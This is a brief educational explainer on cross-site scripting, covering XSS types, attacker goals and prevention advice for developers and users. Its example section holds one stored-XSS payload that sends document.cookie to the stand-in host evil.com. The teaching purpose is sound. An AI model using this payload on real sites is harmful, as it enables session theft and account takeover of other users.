Cross-Site Scripting (XSS)

Injecting Malicious Scripts

What is XSS?

Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by other users. The script runs in the victim's browser with the page's permissions.

xss-example
// Comment field input:
<script>document.location='evil.com?c='+document.cookie</script>

Types of XSS

TypeDescriptionPersistence
StoredScript saved on server (comments, posts)Permanent
ReflectedScript in URL, reflected backPer-request
DOM-basedScript modifies page DOMClient-side

What Attackers Can Do

  • Steal cookies/sessions - Account takeover
  • Keylogging - Capture typed data
  • Phishing - Display fake login forms
  • Malware distribution
  • Defacement - Modify page content

Prevention (For Developers)

  • Output encoding - HTML entity encoding
  • Content Security Policy (CSP)
  • Input validation
  • HttpOnly cookies - Can't access via JavaScript
  • Use modern frameworks - Auto-escaping

For Users

  • Don't click suspicious links
  • Use browser with XSS filtering
  • Keep browser updated
  • Use privacy extensions (uBlock Origin)